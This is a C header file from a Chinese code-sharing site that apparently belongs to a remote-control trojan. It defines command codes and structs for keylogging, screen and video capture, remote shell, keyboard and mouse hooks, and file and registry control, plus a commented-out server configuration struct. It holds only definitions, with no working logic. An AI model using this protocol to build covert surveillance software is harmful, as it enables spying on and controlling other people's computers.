comm.h
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:3k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. typedef struct tagSytemInit
  2. {
  3. char computer[32];
  4. char user[32];
  5. char os[72];
  6. char processor[16];
  7. char mem[16];
  8. char version[16];
  9. char HDSerial[32];
  10. }SYSTEMINIT;
  11. typedef struct tagLinkInfo {
  12.     SOCKET  s;
  13.     string  strBindIp;
  14.     u_short BindPort;
  15. }LINKINFO,*LPLINKINFO;
  16. typedef struct tagProcessInfo
  17. {
  18. DWORD PID;
  19. char  ProcName[64]; //
  20. char  ProcPath[128]; //
  21. }PROCESSINFO,*LPPROCESSINFO;
  22. #define CMD_NULL            100
  23. #define CMD_PROCESS_MANAGE  101
  24. #define CMD_SERVICE_MANAGE  102
  25. #define CMD_FILE_MANAGE     103
  26. #define CMD_REG_MANAGE      104
  27. #define CMD_SHELL_MANAGE    105
  28. #define CMD_SCREEN_MANAGE   106
  29. #define CMD_VIDEO_MANAGE    107
  30. #define CMD_KEYLOG_MANAGE   108
  31. #define CMD_PROCESS_KILL    109
  32. #define CMD_SERVICE_DEL     110
  33. #define CMD_FILE_GETSUBFILE 111
  34. #define CMD_KEY_HOOK        112
  35. #define CMD_MOUSE_HOOK      113
  36. #define CMD_MOUSE_DBHOOK    114
  37. #define CMD_KEY_CAD         115
  38. #define CMD_MOUSE_RDBCLICK     116
  39. #define CMD_MOUSE_LDBCLICK     117
  40. #define CMD_GET_SCREEN_INFO    118
  41. #define CMD_FILE_DEL           119
  42. #define CMD_CMDSHELL           120
  43. #define MY_END                 121
  44. #define CMD_KEYLOG_STOP        122
  45. #define CMD_RETRY              123
  46. typedef struct tagCommand
  47. {
  48. /////命令ID值//////
  49. int wCmd;
  50. /////后接数据大小//
  51. DWORD DataSize;
  52. char  tmp[32];
  53. char  szCurDir[260];
  54. BOOL  nRet;
  55. /////屏幕监控需要的参数//////
  56. CRect  rcArea;     //图象区域
  57. int  nBits;        //彩色位数  //256 
  58. int  nArea;      //固定是全屏   //区域设置  0)全屏   1)当前窗口 2)指定区域
  59. int  nCompress;  //固定是JPEG   //压缩方式  0)不压缩 1)Huffman  2)JPEG
  60. int  nJpegQ   ;  //固定是80     //Jpeg 的Q值
  61. DWORD  dwBmpSize;     //图象大小
  62. DWORD  dwFileSize;    //文件大小
  63. DWORD  dwBmpInfoSize; //图象信息
  64. DWORD  dwHookFlags;   //键盘、鼠标信息
  65. DWORD  dwHookParam1;
  66. DWORD  dwHookParam2;
  67. int     nCell;     //动态清零标志
  68. int    nDelay;    //每块延时
  69. }COMMAND,*LPCOMMAND;
  70. /*
  71. typedef struct tagDriver
  72. {
  73.    char szDriverName[500];
  74.    char szDriverLabel[500];
  75. //   UINT nDriverType;
  76. }DRIVER,*LPDRIVER;
  77. */
  78. typedef struct tagDriver
  79. {
  80. char driver[8];
  81. int  drivertype;
  82. BOOL end;
  83. }DRIVER;//硬盘结构体
  84. typedef struct tagFileInfo
  85. {
  86. BOOL invalidir;                       //无效目录
  87. char filename[128];                   //文件名
  88. int  filesize;                        //文件大小
  89. int  begin;                           //开始位置,多线程用
  90. int  stop;                            //结束位置,多线程用
  91. char time[32];                        //时间
  92. BOOL isdirectory;                     //是目录?
  93. BOOL next;       //还有下一个?
  94. }FILEINFO;//文件信息结构体
  95. /*
  96. struct MODIFY_DATA 
  97. {
  98. unsigned int finder;
  99. TCHAR ws_svcname[32];
  100. TCHAR ws_svcdisplay[64];
  101. char ws_svcdesc[256];
  102. char url[256];
  103. int  port;
  104. };*/
  105. //extern MODIFY_DATA modify_data; //外部的变量